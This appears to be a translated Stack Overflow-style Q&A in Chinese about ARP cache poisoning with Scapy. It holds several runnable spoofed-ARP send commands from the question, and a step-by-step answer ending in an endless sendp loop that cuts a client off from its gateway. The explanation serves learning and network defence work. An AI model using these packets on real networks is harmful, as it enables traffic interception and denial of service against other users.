Scapy 文档提供了以下 ARP 缓存中毒示例:
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client))
Run Code Online (Sandbox Code Playgroud)
问题 1:
我的理解是,这是来自客户端的 ARP 请求的广播。攻击者是否应该执行 ARP 毒药响应:
send(Ether(dst=clientMAC)/ARP(op="is-at", psrc=gateway, pdst=client))
Run Code Online (Sandbox Code Playgroud)
问题 2:在关于 Scapy 的 stackoverflow 上的帖子中,OP 发布了:
这会向受害者发送一个 ARP 回复数据包,其中本地机器伪装成路由器:
send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
Run Code Online (Sandbox Code Playgroud)
这会向路由器发送一个 ARP 回复数据包,本地机器伪装成受害者:
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
Run Code Online (Sandbox Code Playgroud)
在这两个数据包中,hwsrc 字段默认填充本地机器的 MAC 地址。
但是 Scapy 文档没有提到需要 hwdst。我想知道为什么。
问题 3:在 Scapy 文档中:
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client))
Run Code Online (Sandbox Code Playgroud)
但是在问题 2 的 OP 帖子中,没有提供 Ether(dst-clientMAC)。这是否意味着它不是必需的?
谢谢。
小智 5
在计算机网络中,ARP 欺骗、ARP 缓存中毒或 ARP 中毒路由是一种攻击者将(欺骗的)地址解析协议 (ARP) 消息发送到局域网的技术。通常,目的是将攻击者的 MAC 地址与另一台主机(例如默认网关)的 IP 地址相关联,从而导致将指向该 IP 地址的任何流量发送给攻击者。 维基
正如 Scapy 文档中提到的那样,
ARP 缓存投毒攻击通过 VLAN 跳跃攻击投毒其 ARP 缓存来防止客户端加入网关。
他们的意思是,糟糕的客户端将无法将其数据包发送到网关(在本例中为接入点),并且将无法与外部资源进行通信。但是请注意,同一个客户端仍然能够与 VLAN 内的其他主机进行通信。即使是攻击者(假设它也连接到同一个 WiFi 网络)。
让我们一步一步地完成这次攻击。
在此之前,我们更进一步,让我们检查一下 Client 端的当前 ARP 表(在执行攻击之前)。在 Linux 上查看 ARP 表需要运行以下命令:
$ sudo arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 54:f6:15:f5:51:55 C wlan0
Run Code Online (Sandbox Code Playgroud)
如您所见,ARP 表只有一条记录,其中列出了网关 IP 地址 (192.168.1.1) 和 MAC (54:f6:15:f5:51:55)。
当 Attacker 在 Scapy 中执行以下命令时:
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client))
Run Code Online (Sandbox Code Playgroud)
它创建并发送以下数据包:
在以太层,目标 MAC 地址dst被设置为指向客户端(受害者)的 MAC。同时,Scapy 会自动填充其他 Ether 层字段,最重要的src是设置为攻击者 MAC 地址的字段。这意味着在以太层,数据包似乎来自攻击者。其他以太层字段保持不变并包含默认值。如果在 Scapy 中运行以下命令,您可以自己查看:
a = Ether(dst="clientMAC")
a.show()
现在,在 IP 层,攻击者制作一个 ARP 请求数据包,在其中他将psrc(源 IP)字段设置为指向网关节点(在本例中为 AP)的 IP。现在,请记住之前,在以太层 Scapysrc为我们填写了该字段并将其设置为指向攻击者的 MAC 地址。这意味着,发送到客户端(受害者)的最终数据包看起来像是来自具有攻击者 MAC 和网关 IP 地址的主机。我们稍后会谈到。现在,让我们继续。最后,客户端的 IP 地址被设置为pdst字段中数据包的目的地。
数据包被创建并发送到客户端(受害者)。
客户端接收此数据包并检查数据包的内容。它看到 ARP 请求来自网关 IP(假设它是 192.168.1.1)。它检查psrc数据包以太网层中的 MAC 地址字段(假设它是 a9:2b:24:9c:fd:c7)并更新它的 ARP 表,现在看起来如下:
$ sudo arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether a9:2b:24:9c:fd:c7 C wlan0
Run Code Online (Sandbox Code Playgroud)
如您所见,IP 地址保持不变,但 MAC 地址发生了变化。所以,现在,每当客户端向网关节点发送数据包时,它实际上将它们发送到攻击者的 MAC。如果攻击者的目标是阻止客户端与网关通信,这些数据包将被丢弃并且永远不会传送到所需的目的地。
当攻击者不断向客户端发送精心制作的 ARP 数据包时,客户端将无法与网关通信。一旦攻击者停止,来自具有真实IP和MAC地址的网关的真实ARP请求最终将到达eh客户端,恢复正常通信。这就是为什么,作为攻击者,您可能想要创建一个循环来发送恶意数据包,如下所示:
sendp(Ether(dst=”CLIENT-MAC”)/ARP(op="who-has", psrc=”GATEWAY-IP”, pdst=”CLIENT-IP”), inter=0.2, loop=1)
Run Code Online (Sandbox Code Playgroud)
通过这个永无止境的循环,您可以有效地阻塞客户端和网关之间的通信。